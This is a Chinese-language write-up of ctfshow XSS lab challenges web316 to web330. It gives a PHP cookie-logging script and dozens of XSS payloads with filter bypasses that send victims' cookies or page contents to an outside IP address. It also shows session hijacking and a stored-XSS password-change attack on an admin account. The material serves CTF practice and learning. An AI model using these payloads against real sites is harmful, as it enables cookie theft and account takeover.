讲解相当细致
精致练习XSS
web316
这道题估计陆陆续续弄了半天 因为xss可以说基本不会 还好最终彻彻底底明白了
首先这道题是反射性xss 也就是必须点击某一个xss链接 才能达到xss效果
这道题的意思就是 写一个祝福语生成链接发送给朋友 这个祝福语的位置就是我们实现XSS的位置
已知:flag在BOT(程序,机器人)的cookie中并且 生成的链接后端BOT会每隔一段时间访问
所以 要构造一个含有XSS的链接 使得管理员只要访问就能获取BOT的cookie
首先用vps写一个获取cookie的php文件(别用本地服务器 因为管理员无法访问到内网ip)
构造XSS链接 这个js脚本的意思就是重定向到指定的vps中指定的文件 并且将访问者的cookie作为参数传进去
<script>location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie</script>
从而完整链接为
当前地址?msg=<script>location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie</script>
生成完整链接后 后台BOT会隔一段时间访问这个完整链接 只要访问了 vps就能获取BOT的cookie BOT(程序)的权限
生成链接后 在vps中 持续查看当前目录的文件 最终的到flag
web317
因为BOT每隔一段时间就会访问 并且每次获取的cookie都会放置cookie.txt的一个文件下 为了方便查看 更改一下获取cookie的php文件
<?php
$cookie = $_GET['cookie'];
$time = date('Y-m-d h:i:s', time());
$log = fopen("cookie.txt", "a");
fwrite($log,$time.': '. $cookie . "\n");
fclose($log);
?>
还是同样的题目 提示是添加了过滤
使用上一题的js脚本 无反应 试了一下<script>alert(1)</script>无反应 看来过滤了scritp
那就换一个js脚本
用svg标签的
<svg onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)">
获得了flag
web318
使用上一题的payload svg标签的依旧可以
<svg onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)">
尝试新姿势 body标签
<body onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>
web319
继续学习新姿势
iframe 标签
<iframe onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)"></iframe>
body标签
<body onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">
input标签
<input onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)" autofocus>
web320
发现是空格过滤了 过滤了script,img,空格
上面的js脚本一个一个尝试将空格换成注释即可
<iframe/**/onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)"></iframe>
web321
用上一题的打一下 成功
<iframe/**/onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)"></iframe>
web322
用上一题的即可
<iframe/**/onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)"></iframe>
学一个新姿势
String.fromCharCode()函数:ascii码转字符 十进制ascii码转字符串
String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,52,57,46,50,51,52,46,51,56,46,50,50,52,58,56,48,56,48,47,105,110,100,101,120,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62)
结果就是
<script>document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie</script>
测试一波直接这么用还不行 按照大佬的方式 也不行 不知道什么原因 记住有这个姿势
<body/**/οnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,52,57,46,50,51,52,46,51,56,46,50,50,52,58,56,48,56,48,47,105,110,100,101,120,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62));>
<body/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">
估计是这道题过滤的问题 记住有这个姿势即可
以下四道题特别有意思 气死我了网上全没有因为用的和web321一样的payload 但是我用就不行这几道题用了无数的网上的payload就是不行 等过两天看看原因吧
web323
过滤了空格 使用/绕过 有的时候/**/不好使 过滤了iframe script
<body/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">
<body/onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>
<svg/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">
<svg/οnlοad=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie>
#上面这个不可以
<input/onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)"/autofocus>
<input/οnfοcus=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie/autofocus>
#上面这个也不可以
web324
<body/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">
<body/onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>
<body/**/onload="window.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>
<svg/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">
<svg/οnlοad=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie>
#上面这个不可以
<input/onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)"/autofocus>
<input/οnfοcus=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie/autofocus>
#上面这个也不可以 我现在严重怀疑 除了body和script 剩下的和href结合都有问题
web325
<body/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">
<body/onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>
<body/**/onload="window.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>
#上面这个大师傅不行 但是我行 有些东西玄学
<svg/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">
<svg/οnlοad=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie>
#上面这个不可以
<input/onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)"/autofocus>
#这关input不行了
<input/οnfοcus=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie/autofocus>
#上面这个也不可以
web326
<body/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">
<body/onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>
<body/**/onload="window.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>
<svg/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">
<svg/οnlοad=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie>
#上面这个不可以
<input/onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)"/autofocus>
<input/οnfοcus=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie/autofocus>
#上面这个也不可以 我现在严重怀疑 除了body和script 剩下的和href结合都有问题
web327
很多都可以
<script>window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)</script>
<input onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)" autofocus>
<body onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>
发件人:必须是admin (因为要让管理员看到内容)内容就是js脚本获取管理员cookie 这样就能通过vps获取到管路员cookie了 cookie中存在flag
web328
有注册有登录 有用户管理
在用户管理中只要是管理员就可以看到用户名和密码
思路:注册一个新用户 密码是js脚本(已知后台BOT会访问这个页面 从而获取管理员cookie)
然后抓包获直接f12cookie修改为管理员的cookie 就是以管理员身份查看该页面
注册
账号123
密码 <script>window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)</script>
获取到了管理员cookie
修改cookie得到flag 有的时候页面可能是多个数据包组成的 在f12中直接修改cookie是达不到效果的 可能需要抓包 记住就可以
web329
和web328一样 发现管理员cookie是随时变的 后端设置就是访问后cookie立马失效 所以不能用上一题方法
<script>
$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctf'+'show{')>-1){
window.location.href='http://49.234.38.224:8080/index.php?cookie='+value.innerHTML;
}
});
</script>
js脚本解释 在f12中查看密码位置的类名为.laytable-cell-1-0-1 然后使用each方法进行遍历 然后条件是 如果值中包含ctfshow的关键字就访问vps获取value.innerHTML 这个就是元素属性值也就是具体值
web330
用上一题方法不行 但是有一个可以修改密码的
思路就是 让管理员只要访问这个页面就自动修改密码就可以
首先对修改密码的页面进行抓包 我们修改密码为123
他是通过GET进行传参 进行修改密码的(通过访问/api/change页面) 提交后就会修改密码 没有什么过滤的地方 并且没有验证的地方 很简单
思路就是 写一个js脚本 使得管理员只要是访问页面就会自动跳转到修改密码的页面 并且传参为p=123即可
js脚本 意思就是
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
window.location.href
表示当前页面的 URL 地址 设置的新 URL 是 'http://127.0.0.1/api/change?p=123'
,它是一个 API 的地址,其中 p
参数的值为 123
当浏览器加载这个 JavaScript 脚本时,它会立即将当前页面重定向到该 API 地址,并带上参数 p=123
。在重定向完成后,页面将会显示 API 返回的内容 管理员访问的肯定是本地的api接口 所以用127.0.0.1
这个js脚本作为密码 随便创建一个用户 (题目默认BOT会隔一段时间访问账号密码页面 从而实现了管理员点击事件)
已知管理员账号为admin 等10秒使用admin账户 密码123 进行登录
发现不行 那么就把这个js脚本当做用户名字段 试试
发现使用admin用户密码为123可以成功登录 点击账户管理 发现了flag